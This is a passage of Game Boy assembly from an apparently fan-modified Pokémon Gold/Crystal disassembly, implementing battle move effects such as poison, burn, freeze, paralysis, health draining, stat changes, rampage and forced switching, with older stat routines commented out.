call GetBattleVarAddr
and a
ret nz
ld a, [wTypeModifier]
and $7f
ret z
call CheckIfTargetIsPoisonType
ret z
call GetOpponentItem
ld a, b
cp HELD_PREVENT_POISON
ret z
ld a, [wEffectFailed]
and a
ret nz
call SafeCheckSafeguard
ret nz
call CheckToxic
jr z, .toxic
call .apply_poison
ld hl, WasPoisonedText
call StdBattleTextbox
jr .finished
.toxic
set SUBSTATUS_TOXIC, [hl]
xor a
ld [de], a
call .apply_poison
ld hl, BadlyPoisonedText
call StdBattleTextbox
.finished
farcall UseHeldStatusHealingItem
ret
.apply_poison
call PoisonOpponent
ld de, ANIM_PSN
call PlayOpponentBattleAnim
call RefreshBattleHuds
ret
BattleCommand_poison:
; poison
ld hl, DoesntAffectText
ld a, [wTypeModifier]
and $7f
jp z, .failed
call CheckIfTargetIsPoisonType
jp z, .failed
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVar
ld b, a
ld hl, AlreadyPoisonedText
and 1 << PSN
jp nz, .failed
call GetOpponentItem
ld a, b
cp HELD_PREVENT_POISON
jr nz, .do_poison
ld a, [hl]
ld [wNamedObjectIndexBuffer], a
call GetItemName
ld hl, ProtectedByText
jr .failed
.do_poison
ld hl, DidntAffect1Text
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVar
and a
jr nz, .failed
ldh a, [hBattleTurn]
and a
jr z, .dont_sample_failure
ld a, [wLinkMode]
and a
jr nz, .dont_sample_failure
ld a, [wInBattleTowerBattle]
and a
jr nz, .dont_sample_failure
ld a, [wPlayerSubStatus5]
bit SUBSTATUS_LOCK_ON, a
jr nz, .dont_sample_failure
call BattleRandom
cp 25 percent + 1 ; 25% chance AI fails
jr c, .failed
.dont_sample_failure
call CheckSubstituteOpp
jr nz, .failed
ld a, [wAttackMissed]
and a
jr nz, .failed
call CheckToxic
jr z, .toxic
call .apply_poison
ld hl, WasPoisonedText
call StdBattleTextbox
jr .finished
.toxic
set SUBSTATUS_TOXIC, [hl]
xor a
ld [de], a
call .apply_poison
ld hl, BadlyPoisonedText
call StdBattleTextbox
.finished
farcall UseHeldStatusHealingItem
ret
.failed
push hl
call AnimateFailedMove
pop hl
jp StdBattleTextbox
.apply_poison
call AnimateCurrentMove
call PoisonOpponent
jp RefreshBattleHuds
CheckToxic:
ld a, BATTLE_VARS_SUBSTATUS5_OPP
call GetBattleVarAddr
ldh a, [hBattleTurn]
and a
ld de, wEnemyToxicCount
jr z, .ok
ld de, wPlayerToxicCount
.ok
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_TOXIC
ret z
cp EFFECT_POISON_FANG
ret
CheckIfTargetIsPoisonType:
ld b, POISON
CheckIfTargetIsType:
; checks if target is type b
ld de, wEnemyMonType1
ldh a, [hBattleTurn]
and a
jr z, .ok
ld de, wBattleMonType1
.ok
ld a, [de]
inc de
cp b
ret z
ld a, [de]
cp b
ret
PoisonOpponent:
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
set PSN, [hl]
jp UpdateOpponentInParty
BattleCommand_draintarget:
; draintarget
call SapHealth
ld hl, SuckedHealthText
jp StdBattleTextbox
BattleCommand_eatdream:
; eatdream
call SapHealth
ld hl, DreamEatenText
jp StdBattleTextbox
SapHealth:
; Divide damage by 2, store it in hDividend
ld hl, wCurDamage
ld a, [hli]
srl a
ldh [hDividend], a
ld b, a
ld a, [hl]
rr a
ldh [hDividend + 1], a
or b
jr nz, .at_least_one
ld a, 1
ldh [hDividend + 1], a
.at_least_one
ld hl, wBattleMonHP
ld de, wBattleMonMaxHP
ldh a, [hBattleTurn]
and a
jr z, .battlemonhp
ld hl, wEnemyMonHP
ld de, wEnemyMonMaxHP
.battlemonhp
; Store current HP in little endian wBuffer3/4
ld bc, wBuffer4
ld a, [hli]
ld [bc], a
ld a, [hl]
dec bc
ld [bc], a
; Store max HP in little endian wBuffer1/2
ld a, [de]
dec bc
ld [bc], a
inc de
ld a, [de]
dec bc
ld [bc], a
; Add hDividend to current HP and copy it to little endian wBuffer5/6
ldh a, [hDividend + 1]
ld b, [hl]
add b
ld [hld], a
ld [wBuffer5], a
ldh a, [hDividend]
ld b, [hl]
adc b
ld [hli], a
ld [wBuffer6], a
jr c, .max_hp
; Substract current HP from max HP (to see if we have more than max HP)
ld a, [hld]
ld b, a
ld a, [de]
dec de
sub b
ld a, [hli]
ld b, a
ld a, [de]
inc de
sbc b
jr nc, .finish
.max_hp
; Load max HP into current HP and copy it to little endian wBuffer5/6
ld a, [de]
ld [hld], a
ld [wBuffer5], a
dec de
ld a, [de]
ld [hli], a
ld [wBuffer6], a
inc de
.finish
ldh a, [hBattleTurn]
and a
hlcoord 10, 9
ld a, $1
jr z, .hp_bar
hlcoord 2, 2
xor a
.hp_bar
ld [wWhichHPBar], a
predef AnimateHPBar
call RefreshBattleHuds
jp UpdateBattleMonInParty
BattleCommand_burntarget:
; burntarget
xor a
ld [wNumHits], a
call CheckSubstituteOpp
ret nz
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
and a
jp nz, Defrost
ld a, [wTypeModifier]
and $7f
ret z
farcall CheckIfTargetIsFireType ; Don't burn a Fire-type
ret z
call GetOpponentItem
ld a, b
cp HELD_PREVENT_BURN
ret z
ld a, [wEffectFailed]
and a
ret nz
call SafeCheckSafeguard
ret nz
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
set BRN, [hl]
call UpdateOpponentInParty
ld hl, ApplyBrnEffectOnAttack
call CallBattleCore
ld de, ANIM_BRN
call PlayOpponentBattleAnim
call RefreshBattleHuds
ld hl, WasBurnedText
call StdBattleTextbox
farcall UseHeldStatusHealingItem
ret
Defrost:
ld a, [hl]
and 1 << FRZ
ret z
xor a
ld [hl], a
ldh a, [hBattleTurn]
and a
ld a, [wCurOTMon]
ld hl, wOTPartyMon1Status
jr z, .ok
ld hl, wPartyMon1Status
ld a, [wCurBattleMon]
.ok
call GetPartyLocation
xor a
ld [hl], a
call UpdateOpponentInParty
ld hl, DefrostedOpponentText
jp StdBattleTextbox
BattleCommand_freezetarget:
; freezetarget
xor a
ld [wNumHits], a
call CheckSubstituteOpp
ret nz
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
and a
ret nz
ld a, [wTypeModifier]
and $7f
ret z
ld a, [wBattleWeather]
cp WEATHER_SUN
ret z
farcall CheckIfTargetIsIceType ; Don't freeze an Ice-type
ret z
call GetOpponentItem
ld a, b
cp HELD_PREVENT_FREEZE
ret z
ld a, [wEffectFailed]
and a
ret nz
call SafeCheckSafeguard
ret nz
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
set FRZ, [hl]
call UpdateOpponentInParty
ld de, ANIM_FRZ
call PlayOpponentBattleAnim
call RefreshBattleHuds
ld hl, WasFrozenText
call StdBattleTextbox
farcall UseHeldStatusHealingItem
ret nz
call OpponentCantMove
call EndRechargeOpp
ld hl, wEnemyJustGotFrozen
ldh a, [hBattleTurn]
and a
jr z, .finish
ld hl, wPlayerJustGotFrozen
.finish
ld [hl], $1
; handle Shaymin Sky Forme revert
ldh a, [hBattleTurn]
and a
ld hl, wBattleMonSpecies
ld de, wPartySpecies
jr nz, .got_species
ld hl, wEnemyMonSpecies
ld de, wOTPartySpecies
.got_species
ld a, [hl]
push hl
call GetPokemonIndexFromID
pop bc
ld a, h
cp HIGH(SHAYMIN_S)
ret nz
ld a, l
cp LOW(SHAYMIN_S)
ret nz
ld hl, SHAYMIN
call GetPokemonIDFromIndex
ld [wCurPartySpecies], a
ld [bc], a ; set Battle/Enemy Mon Species
push af
ldh a, [hBattleTurn]
and a
ld a, [wCurBattleMon]
jr nz, .got_cur_mon
ld a, [wCurOTMon]
.got_cur_mon
ld h, 0
ld l, a
add hl, de
pop af
ld [hl], a ; set Party/OT Species
push af
ld a, MON_SPECIES
call OpponentPartyAttr
pop af
ld [hl], a ; set wParty/OT Mon Species
ld [wCurSpecies], a
call GetBaseData ; for CalcMonStats
ldh a, [hBattleTurn]
and a
jr nz, .get_battlemon_stat_addrs
ld a, [wEnemyMonLevel]
ld [wCurPartyLevel], a
ld de, wEnemyMonMaxHP
push de
ld a, MON_MAXHP
call OTPartyAttr
ld d, h
ld e, l
ld a, MON_STAT_EXP - 1
call OTPartyAttr
jr .recalc_stats
.get_battlemon_stat_addrs
ld a, [wBattleMonLevel]
ld [wCurPartyLevel], a
ld de, wBattleMonMaxHP
push de
ld a, MON_MAXHP
call BattlePartyAttr
ld d, h
ld e, l
ld a, MON_STAT_EXP - 1
call BattlePartyAttr
.recalc_stats
ld b, 1 ; use stat EXP
predef CalcMonStats
pop de
predef CalcMonStats
; play animation
call BattleCommand_switchturn
call _CheckBattleScene
jr c, .mimic_anims
xor a
ld [wNumHits], a
ld hl, ANIM_REFRESH_SPRITE
call GetMoveIDFromIndex
call LoadAnim
jr .after_anim
.mimic_anims
call BattleCommand_movedelay
call BattleCommand_raisesubnoanim
.after_anim
ld a, BATTLE_VARS_SUBSTATUS4
call GetBattleVarAddr
bit SUBSTATUS_SUBSTITUTE, [hl]
jr z, .no_sub
ld hl, SUBSTITUTE
call GetMoveIDFromIndex
call LoadAnim
.no_sub
call BattleCommand_switchturn
; textbox
ld hl, RevertedFormText
jp StdBattleTextbox
BattleCommand_paralyzetarget:
; paralyzetarget
xor a
ld [wNumHits], a
call CheckSubstituteOpp
ret nz
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
and a
ret nz
ld a, [wTypeModifier]
and $7f
ret z
call GetOpponentItem
ld a, b
cp HELD_PREVENT_PARALYZE
ret z
ld a, [wEffectFailed]
and a
ret nz
call SafeCheckSafeguard
ret nz
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
set PAR, [hl]
call UpdateOpponentInParty
ld hl, ApplyPrzEffectOnSpeed
call CallBattleCore
ld de, ANIM_PAR
call PlayOpponentBattleAnim
call RefreshBattleHuds
call PrintParalyze
ld hl, UseHeldStatusHealingItem
jp CallBattleCore
;BattleCommand_attackup:
;; attackup
; ld b, ATTACK
; jr BattleCommand_statup
;
;BattleCommand_defenseup:
;; defenseup
; ld b, DEFENSE
; jr BattleCommand_statup
;
;BattleCommand_speedup:
;; speedup
; ld b, SPEED
; jr BattleCommand_statup
;
;BattleCommand_specialattackup:
;; specialattackup
; ld b, SP_ATTACK
; jr BattleCommand_statup
;
;BattleCommand_specialdefenseup:
;; specialdefenseup
; ld b, SP_DEFENSE
; jr BattleCommand_statup
;
;BattleCommand_accuracyup:
;; accuracyup
; ld b, ACCURACY
; jr BattleCommand_statup
;
;BattleCommand_evasionup:
;; evasionup
; ld b, EVASION
; jr BattleCommand_statup
;
;BattleCommand_attackup2:
;; attackup2
; ld b, $10 | ATTACK
; jr BattleCommand_statup
;
;BattleCommand_defenseup2:
;; defenseup2
; ld b, $10 | DEFENSE
; jr BattleCommand_statup
;
;BattleCommand_speedup2:
;; speedup2
; ld b, $10 | SPEED
; jr BattleCommand_statup
;
;BattleCommand_specialattackup2:
;; specialattackup2
; ld b, $10 | SP_ATTACK
; jr BattleCommand_statup
;
;BattleCommand_specialdefenseup2:
;; specialdefenseup2
; ld b, $10 | SP_DEFENSE
; jr BattleCommand_statup
;
;BattleCommand_accuracyup2:
;; accuracyup2
; ld b, $10 | ACCURACY
; jr BattleCommand_statup
;
;BattleCommand_evasionup2:
;; evasionup2
; ld b, $10 | EVASION
; jr BattleCommand_statup
;
;BattleCommand_statup:
;; statup
; call RaiseStat
; ld a, [wFailedMessage]
; and a
; ret nz
; jp MinimizeDropSub
;
;RaiseStat:
; ld a, b
; ld [wLoweredStat], a
; ld hl, wPlayerStatLevels
; ldh a, [hBattleTurn]
; and a
; jr z, .got_stat_levels
; ld hl, wEnemyStatLevels
;.got_stat_levels
; ld a, [wAttackMissed]
; and a
; jp nz, .stat_raise_failed
; ld a, [wEffectFailed]
; and a
; jp nz, .stat_raise_failed
; ld a, [wLoweredStat]
; and $f
; ld c, a
; ld b, 0
; add hl, bc
; ld b, [hl]
; inc b
; ld a, $d
; cp b
; jp c, .cant_raise_stat
; ld a, [wLoweredStat]
; and $f0
; jr z, .got_num_stages
; inc b
; ld a, $d
; cp b
; jr nc, .got_num_stages
; ld b, a
;.got_num_stages
; ld [hl], b
; push hl
; ld a, c
; cp $5
; jr nc, .done_calcing_stats
; ld hl, wBattleMonStats + 1
; ld de, wPlayerStats
; ldh a, [hBattleTurn]
; and a
; jr z, .got_stats_pointer
; ld hl, wEnemyMonStats + 1
; ld de, wEnemyStats
;.got_stats_pointer
; push bc
; sla c
; ld b, 0
; add hl, bc
; ld a, c
; add e
; ld e, a
; jr nc, .no_carry
; inc d
;.no_carry
; pop bc
; ld a, [hld]
; sub LOW(MAX_STAT_VALUE)
; jr nz, .not_already_max
; ld a, [hl]
; sbc HIGH(MAX_STAT_VALUE)
; jp z, .stats_already_max
;.not_already_max
; ldh a, [hBattleTurn]
; and a
; jr z, .calc_player_stats
; call CalcEnemyStats
; jr .done_calcing_stats
;
;.calc_player_stats
; call CalcPlayerStats
;.done_calcing_stats
; pop hl
; xor a
; ld [wFailedMessage], a
; ret
;
;.stats_already_max
; pop hl
; dec [hl]
; ; fallthrough
;
;.cant_raise_stat
; ld a, $2
; ld [wFailedMessage], a
; ld a, $1
; ld [wAttackMissed], a
; ret
;
;.stat_raise_failed
; ld a, $1
; ld [wFailedMessage], a
; ret
MinimizeDropSub:
; Lower the substitute if we're minimizing
ld de, wPlayerMinimized
ld hl, DropPlayerSub
ldh a, [hBattleTurn]
and a
jr z, .do_player
ld de, wEnemyMinimized
ld hl, DropEnemySub
.do_player
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
ld bc, MINIMIZE
call CompareMove
ret nz
ld a, $1
ld [de], a
call _CheckBattleScene
ret nc
xor a
ldh [hBGMapMode], a
call CallBattleCore
call WaitBGMap
jp BattleCommand_movedelay
;BattleCommand_attackdown:
;; attackdown
; ld a, ATTACK
; jr BattleCommand_statdown
;
;BattleCommand_defensedown:
;; defensedown
; ld a, DEFENSE
; jr BattleCommand_statdown
;
;BattleCommand_speeddown:
;; speeddown
; ld a, SPEED
; jr BattleCommand_statdown
;
;BattleCommand_specialattackdown:
;; specialattackdown
; ld a, SP_ATTACK
; jr BattleCommand_statdown
;
;BattleCommand_specialdefensedown:
;; specialdefensedown
; ld a, SP_DEFENSE
; jr BattleCommand_statdown
;
;BattleCommand_accuracydown:
;; accuracydown
; ld a, ACCURACY
; jr BattleCommand_statdown
;
;BattleCommand_evasiondown:
;; evasiondown
; ld a, EVASION
; jr BattleCommand_statdown
;
;BattleCommand_attackdown2:
;; attackdown2
; ld a, $10 | ATTACK
; jr BattleCommand_statdown
;
;BattleCommand_defensedown2:
;; defensedown2
; ld a, $10 | DEFENSE
; jr BattleCommand_statdown
;
;BattleCommand_speeddown2:
;; speeddown2
; ld a, $10 | SPEED
; jr BattleCommand_statdown
;
;BattleCommand_specialattackdown2:
;; specialattackdown2
; ld a, $10 | SP_ATTACK
; jr BattleCommand_statdown
;
;BattleCommand_specialdefensedown2:
;; specialdefensedown2
; ld a, $10 | SP_DEFENSE
; jr BattleCommand_statdown
;
;BattleCommand_accuracydown2:
;; accuracydown2
; ld a, $10 | ACCURACY
; jr BattleCommand_statdown
;
;BattleCommand_evasiondown2:
;; evasiondown2
; ld a, $10 | EVASION
;
;BattleCommand_statdown:
;; statdown
;
; ld [wLoweredStat], a
;
; call CheckMist
; jp nz, .Mist
;
; ld hl, wEnemyStatLevels
; ldh a, [hBattleTurn]
; and a
; jr z, .GetStatLevel
; ld hl, wPlayerStatLevels
;
;.GetStatLevel:
;; Attempt to lower the stat.
; ld a, [wLoweredStat]
; and $f
; ld c, a
; ld b, 0
; add hl, bc
; ld b, [hl]
; dec b
; jp z, .CantLower
;
;; Sharply lower the stat if applicable.
; ld a, [wLoweredStat]
; and $f0
; jr z, .ComputerMiss
; dec b
; jr nz, .ComputerMiss
; inc b
;
;.ComputerMiss:
;; Computer opponents have a 25% chance of failing.
; ldh a, [hBattleTurn]
; and a
; jr z, .DidntMiss
;
; ld a, [wLinkMode]
; and a
; jr nz, .DidntMiss
;
; ld a, [wInBattleTowerBattle]
; and a
; jr nz, .DidntMiss
;
;; Lock-On still always works.
; ld a, [wPlayerSubStatus5]
; bit SUBSTATUS_LOCK_ON, a
; jr nz, .DidntMiss
;
;; Attacking moves that also lower accuracy are unaffected.
; ld a, BATTLE_VARS_MOVE_EFFECT
; call GetBattleVar
; cp EFFECT_ACCURACY_DOWN_HIT
; jr z, .DidntMiss
;
; call BattleRandom
; cp 25 percent + 1 ; 25% chance AI fails
; jr c, .Failed
;
;.DidntMiss:
; call CheckSubstituteOpp
; jr nz, .Failed
;
; ld a, [wAttackMissed]
; and a
; jr nz, .Failed
;
; ld a, [wEffectFailed]
; and a
; jr nz, .Failed
;
; call CheckHiddenOpponent
; jr nz, .Failed
;
;; Accuracy/Evasion reduction don't involve stats.
; ld [hl], b
; ld a, c
; cp ACCURACY
; jr nc, .Hit
;
; push hl
; ld hl, wEnemyMonAttack + 1
; ld de, wEnemyStats
; ldh a, [hBattleTurn]
; and a
; jr z, .do_enemy
; ld hl, wBattleMonAttack + 1
; ld de, wPlayerStats
;.do_enemy
; call TryLowerStat
; pop hl
; jr z, .CouldntLower
;
;.Hit:
; xor a
; ld [wFailedMessage], a
; ret
;
;.CouldntLower:
; inc [hl]
;.CantLower:
; ld a, 3
; ld [wFailedMessage], a
; ld a, 1
; ld [wAttackMissed], a
; ret
;
;.Failed:
; ld a, 1
; ld [wFailedMessage], a
; ld [wAttackMissed], a
; ret
;
;.Mist:
; ld a, 2
; ld [wFailedMessage], a
; ld a, 1
; ld [wAttackMissed], a
; ret
;
;CheckMist:
; ld a, BATTLE_VARS_MOVE_EFFECT
; call GetBattleVar
; cp EFFECT_ATTACK_DOWN
; jr c, .dont_check_mist
; cp EFFECT_EVASION_DOWN + 1
; jr c, .check_mist
; cp EFFECT_ATTACK_DOWN_2
; jr c, .dont_check_mist
; cp EFFECT_EVASION_DOWN_2 + 1
; jr c, .check_mist
; cp EFFECT_ATTACK_DOWN_HIT
; jr c, .dont_check_mist
; ;cp EFFECT_EVASION_DOWN_HIT + 1
; ;jr c, .check_mist
;.dont_check_mist
; xor a
; ret
;
;.check_mist
; ld a, BATTLE_VARS_SUBSTATUS4_OPP
; call GetBattleVar
; bit SUBSTATUS_MIST, a
; ret
;
;BattleCommand_statupmessage:
; ld a, [wFailedMessage]
; and a
; ret nz
; ld a, [wLoweredStat]
; and $f
; ld b, a
; inc b
; call GetStatName
; ld hl, .stat
; jp BattleTextbox
;
;.stat
; text_far UnknownText_0x1c0cc6
; text_asm
; ld hl, .up
; ld a, [wLoweredStat]
; and $f0
; ret z
; ld hl, .wayup
; ret
;
;.wayup
; text_far UnknownText_0x1c0cd0
; text_end
;
;.up
; text_far UnknownText_0x1c0ce0
; text_end
;
;BattleCommand_statdownmessage:
; ld a, [wFailedMessage]
; and a
; ret nz
; ld a, [wLoweredStat]
; and $f
; ld b, a
; inc b
; call GetStatName
; ld hl, .stat
; jp BattleTextbox
;
;.stat
; text_far UnknownText_0x1c0ceb
; text_asm
; ld hl, .fell
; ld a, [wLoweredStat]
; and $f0
; ret z
; ld hl, .sharplyfell
; ret
;
;.sharplyfell
; text_far UnknownText_0x1c0cf5
; text_end
;
;.fell
; text_far UnknownText_0x1c0d06
; text_end
;
;TryLowerStat:
;; Lower stat c from stat struct hl (buffer de).
;
; push bc
; sla c
; ld b, 0
; add hl, bc
; ; add de, c
; ld a, c
; add e
; ld e, a
; jr nc, .no_carry
; inc d
;.no_carry
; pop bc
;
;; The lowest possible stat is 1.
; ld a, [hld]
; sub 1
; jr nz, .not_min
; ld a, [hl]
; and a
; ret z
;
;.not_min
; ldh a, [hBattleTurn]
; and a
; jr z, .Player
;
; call BattleCommand_switchturn
; call CalcPlayerStats
; call BattleCommand_switchturn
; jr .end
;
;.Player:
; call BattleCommand_switchturn
; call CalcEnemyStats
; call BattleCommand_switchturn
;.end
; ld a, 1
; and a
; ret
;
;BattleCommand_statupfailtext:
;; statupfailtext
; ld a, [wFailedMessage]
; and a
; ret z
; push af
; call BattleCommand_movedelay
; pop af
; dec a
; jp z, TryPrintButItFailed
; ld a, [wLoweredStat]
; and $f
; ld b, a
; inc b
; call GetStatName
; ld hl, WontRiseAnymoreText
; jp StdBattleTextbox
;
;BattleCommand_statdownfailtext:
;; statdownfailtext
; ld a, [wFailedMessage]
; and a
; ret z
; push af
; call BattleCommand_movedelay
; pop af
; dec a
; jp z, TryPrintButItFailed
; dec a
; ld hl, ProtectedByMistText
; jp z, StdBattleTextbox
; ld a, [wLoweredStat]
; and $f
; ld b, a
; inc b
; call GetStatName
; ld hl, WontDropAnymoreText
; jp StdBattleTextbox
;
;GetStatName:
; ld hl, StatNames
; ld c, "@"
;.CheckName:
; dec b
; jr z, .Copy
;.GetName:
; ld a, [hli]
; cp c
; jr z, .CheckName
; jr .GetName
;
;.Copy:
; ld de, wStringBuffer2
; ld bc, wStringBuffer3 - wStringBuffer2
; jp CopyBytes
;
;INCLUDE "data/battle/stat_names.asm"
;
INCLUDE "data/battle/stat_multipliers.asm"
;
;BattleCommand_allstatsup:
;; allstatsup
;
;; Attack
; call ResetMiss
; call BattleCommand_attackup
; call BattleCommand_statupmessage
;
;; Defense
; call ResetMiss
; call BattleCommand_defenseup
; call BattleCommand_statupmessage
;
;; Speed
; call ResetMiss
; call BattleCommand_speedup
; call BattleCommand_statupmessage
;
;; Special Attack
; call ResetMiss
; call BattleCommand_specialattackup
; call BattleCommand_statupmessage
;
;; Special Defense
; call ResetMiss
; call BattleCommand_specialdefenseup
; jp BattleCommand_statupmessage
;
;ResetMiss:
; xor a
; ld [wAttackMissed], a
; ret
;
;LowerStat:
; ld [wLoweredStat], a
;
; ld hl, wPlayerStatLevels
; ldh a, [hBattleTurn]
; and a
; jr z, .got_target
; ld hl, wEnemyStatLevels
;
;.got_target
; ld a, [wLoweredStat]
; and $f
; ld c, a
; ld b, 0
; add hl, bc
; ld b, [hl]
; dec b
; jr z, .cant_lower_anymore
;
; ld a, [wLoweredStat]
; and $f0
; jr z, .got_num_stages
; dec b
; jr nz, .got_num_stages
; inc b
;
;.got_num_stages
; ld [hl], b
; ld a, c
; cp 5
; jr nc, .accuracy_evasion
;
; push hl
; ld hl, wBattleMonStats + 1
; ld de, wPlayerStats
; ldh a, [hBattleTurn]
; and a
; jr z, .got_target_2
; ld hl, wEnemyMonStats + 1
; ld de, wEnemyStats
;
;.got_target_2
; call TryLowerStat
; pop hl
; jr z, .failed
;
;.accuracy_evasion
; ldh a, [hBattleTurn]
; and a
; jr z, .player
;
; call CalcEnemyStats
;
; jr .finish
;
;.player
; call CalcPlayerStats
;
;.finish
; xor a
; ld [wFailedMessage], a
; ret
;
;.failed
; inc [hl]
;
;.cant_lower_anymore
; ld a, 2
; ld [wFailedMessage], a
; ret
BattleCommand_raisestat:
ld b, -1
RaiseStat:
xor a
_RaiseStat:
or STAT_MISS | STAT_SILENT
jr ChangeStat
BattleCommand_lowerstat:
ld b, -1
LowerStat:
xor a
_LowerStat:
or STAT_LOWER | STAT_MISS | STAT_SILENT
jr ChangeStat
BattleCommand_forceraisestat:
ld b, -1
ForceRaiseStat:
xor a
_ForceRaiseStat:
; or 0
jr ChangeStat
BattleCommand_forcelowerstat:
ld b, -1
ForceLowerStat:
xor a
_ForceLowerStat:
or STAT_LOWER
jr ChangeStat
BattleCommand_raisestathit:
ld b, -1
RaiseStatHit:
xor a
_RaiseStatHit:
or STAT_MISS | STAT_SECONDARY | STAT_SILENT
jr ChangeStat
BattleCommand_lowerstathit:
ld b, -1
LowerStatHit:
xor a
_LowerStatHit:
or STAT_LOWER | STAT_MISS | STAT_SECONDARY | STAT_SILENT
jr ChangeStat
BattleCommand_forceraiseoppstat:
ld b, -1
ForceRaiseOppStat:
xor a
_ForceRaiseOppStat:
or STAT_TARGET
jr ChangeStat
BattleCommand_forceloweroppstat:
ld b, -1
ForceLowerOppStat:
xor a
_ForceLowerOppStat:
or STAT_TARGET | STAT_LOWER
jr ChangeStat
BattleCommand_raiseoppstat:
ld b, -1
RaiseOppStat:
xor a
_RaiseOppStat:
or STAT_TARGET | STAT_MISS
jr ChangeStat
BattleCommand_loweroppstat:
ld b, -1
LowerOppStat:
xor a
_LowerOppStat:
or STAT_TARGET | STAT_LOWER | STAT_MISS
jr ChangeStat
BattleCommand_raiseoppstathit:
ld b, -1
RaiseOppStatHit:
xor a
_RaiseOppStatHit:
or STAT_TARGET | STAT_MISS | STAT_SECONDARY | STAT_SILENT
jr ChangeStat
BattleCommand_loweroppstathit:
ld b, -1
LowerOppStatHit:
xor a
_LowerOppStatHit:
or STAT_TARGET | STAT_LOWER | STAT_MISS | STAT_SECONDARY | STAT_SILENT
ChangeStat:
farcall2 FarChangeStat
ret
BattleCommand_tristatuschance:
; tristatuschance
farcall BattleCommand_effectchance
.loop
; 1/3 chance of each status
call BattleRandom
swap a
and %11
jr z, .loop
dec a
ld hl, .ptrs
rst JumpTable
ret
.ptrs
dw BattleCommand_paralyzetarget ; paralyze
dw BattleCommand_freezetarget ; freeze
dw BattleCommand_burntarget ; burn
BattleCommand_raisesubnoanim:
ld hl, GetBattleMonBackpic
ldh a, [hBattleTurn]
and a
jr z, .PlayerTurn
ld hl, GetEnemyMonFrontpic
.PlayerTurn:
xor a
ldh [hBGMapMode], a
call CallBattleCore
jp WaitBGMap
BattleCommand_lowersubnoanim:
ld hl, DropPlayerSub
ldh a, [hBattleTurn]
and a
jr z, .PlayerTurn
ld hl, DropEnemySub
.PlayerTurn:
xor a
ldh [hBGMapMode], a
call CallBattleCore
jp WaitBGMap
CalcPlayerStats:
ld hl, wPlayerAtkLevel
ld de, wPlayerStats
ld bc, wBattleMonAttack
ld a, 5
call CalcBattleStats
ld hl, BadgeStatBoosts
call CallBattleCoreAlt
call BattleCommand_switchturn
ld hl, ApplyPrzEffectOnSpeed
call CallBattleCore
ld hl, ApplyBrnEffectOnAttack
call CallBattleCore
farcall ApplySlowStartEffectOnPlayerStats
farcall ApplyPowerTrick
jp BattleCommand_switchturn
CalcEnemyStats:
ld hl, wEnemyAtkLevel
ld de, wEnemyStats
ld bc, wEnemyMonAttack
ld a, 5
call CalcBattleStats
call BattleCommand_switchturn
ld hl, ApplyPrzEffectOnSpeed
call CallBattleCore
ld hl, ApplyBrnEffectOnAttack
call CallBattleCore
farcall ApplySlowStartEffectOnEnemyStats
farcall ApplyPowerTrick
jp BattleCommand_switchturn
CalcBattleStats:
.loop
push af
ld a, [hli]
push hl
push bc
ld c, a
dec c
ld b, 0
ld hl, StatLevelMultipliers
add hl, bc
add hl, bc
xor a
ldh [hMultiplicand + 0], a
ld a, [de]
ldh [hMultiplicand + 1], a
inc de
ld a, [de]
ldh [hMultiplicand + 2], a
inc de
ld a, [hli]
ldh [hMultiplier], a
call Multiply
ld a, [hl]
ldh [hDivisor], a
ld b, 4
call Divide
ldh a, [hQuotient + 2]
ld b, a
ldh a, [hQuotient + 3]
or b
jr nz, .check_maxed_out
ld a, 1
ldh [hQuotient + 3], a
jr .not_maxed_out
.check_maxed_out
ldh a, [hQuotient + 3]
cp LOW(MAX_STAT_VALUE)
ld a, b
sbc HIGH(MAX_STAT_VALUE)
jr c, .not_maxed_out
ld a, LOW(MAX_STAT_VALUE)
ldh [hQuotient + 3], a
ld a, HIGH(MAX_STAT_VALUE)
ldh [hQuotient + 2], a
.not_maxed_out
pop bc
ldh a, [hQuotient + 2]
ld [bc], a
inc bc
ldh a, [hQuotient + 3]
ld [bc], a
inc bc
pop hl
pop af
dec a
jr nz, .loop
ret
INCLUDE "engine/battle/move_effects/bide.asm"
BattleCommand_checkrampage:
; checkrampage
ld de, wPlayerRolloutCount
ldh a, [hBattleTurn]
and a
jr z, .player
ld de, wEnemyRolloutCount
.player
ld a, BATTLE_VARS_SUBSTATUS3
call GetBattleVarAddr
bit SUBSTATUS_RAMPAGE, [hl]
ret z
ld a, [de]
dec a
ld [de], a
jr nz, .continue_rampage
res SUBSTATUS_RAMPAGE, [hl]
call BattleCommand_switchturn
call SafeCheckSafeguard
push af
call BattleCommand_switchturn
pop af
jr nz, .continue_rampage
set SUBSTATUS_CONFUSED, [hl]
call BattleRandom
and %00000001
inc a
inc a
inc de ; ConfuseCount
ld [de], a
.continue_rampage
ld b, rampage_command
jp SkipToBattleCommand
BattleCommand_rampage:
; rampage
; No rampage during Sleep Talk.
ld a, BATTLE_VARS_STATUS
call GetBattleVar
and SLP
ret nz
ld de, wPlayerRolloutCount
ldh a, [hBattleTurn]
and a
jr z, .ok
ld de, wEnemyRolloutCount
.ok
ld a, BATTLE_VARS_SUBSTATUS3
call GetBattleVarAddr
set SUBSTATUS_RAMPAGE, [hl]
; Rampage for 1 or 2 more turns
call BattleRandom
and %00000001
inc a
ld [de], a
ld a, 1
ld [wSomeoneIsRampaging], a
ret
INCLUDE "engine/battle/move_effects/teleport.asm"
SetBattleDraw:
ld a, [wBattleResult]
and BATTLERESULT_BITMASK
or DRAW
ld [wBattleResult], a
ret
BattleCommand_forceswitch:
; forceswitch
ld a, [wBattleType]
cp BATTLETYPE_SHINY
jp z, .fail
cp BATTLETYPE_TRAP
jp z, .fail
cp BATTLETYPE_CELEBI
jp z, .fail
cp BATTLETYPE_SUICUNE
jp z, .fail
ldh a, [hBattleTurn]
and a
jp nz, .force_player_switch
ld a, [wAttackMissed]
and a
jr nz, .missed
ld a, [wBattleMode]
dec a
jr nz, .trainer
ld a, [wCurPartyLevel]
ld b, a
ld a, [wBattleMonLevel]
cp b
jr nc, .wild_force_flee
